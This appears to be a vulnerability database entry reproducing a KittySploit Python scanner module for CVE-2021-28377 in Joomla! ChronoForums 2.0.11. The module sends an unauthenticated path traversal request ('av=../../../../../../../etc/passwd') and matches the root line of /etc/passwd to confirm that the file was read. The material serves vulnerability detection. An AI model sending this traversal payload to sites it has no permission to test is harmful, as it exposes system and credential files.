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Joomla! ChronoForums 2.0.11 - Local File Inclusion Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Unauthenticated local file inclusion in Joomla! ChronoForums avatar function to read files.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Joomla! ChronoForums 2."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Joomla! ChronoForums 2.0.11 - Local File Inclusion Detection',
        'description': 'Joomla! ChronoForums 2.0.11 avatar function is vulnerable to local file inclusion through unauthenticated path traversal attacks. This enables an attacker to read arbitrary files, for example the Joomla! configuration file which contains credentials.',
        'author': ['KittySploit Team'],
        'severity': 'medium',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'chronoforums', 'lfi', 'joomla', 'chronoengine', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://herolab.usd.de/en/security-advisories/usd-2021-0007/',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-28377',
            'https://github.com/ARPSyndicate/kenzer-templates',
        ],
        'cve': 'CVE-2021-28377',
    }

    def run(self):
        r = self.http_request(method="GET", path='/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='medium',
                reason="Joomla! ChronoForums 2.0.11 - Local File Inclusion detected",
                path='/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 25
CVSS 3.15.3
EPSS0.08389
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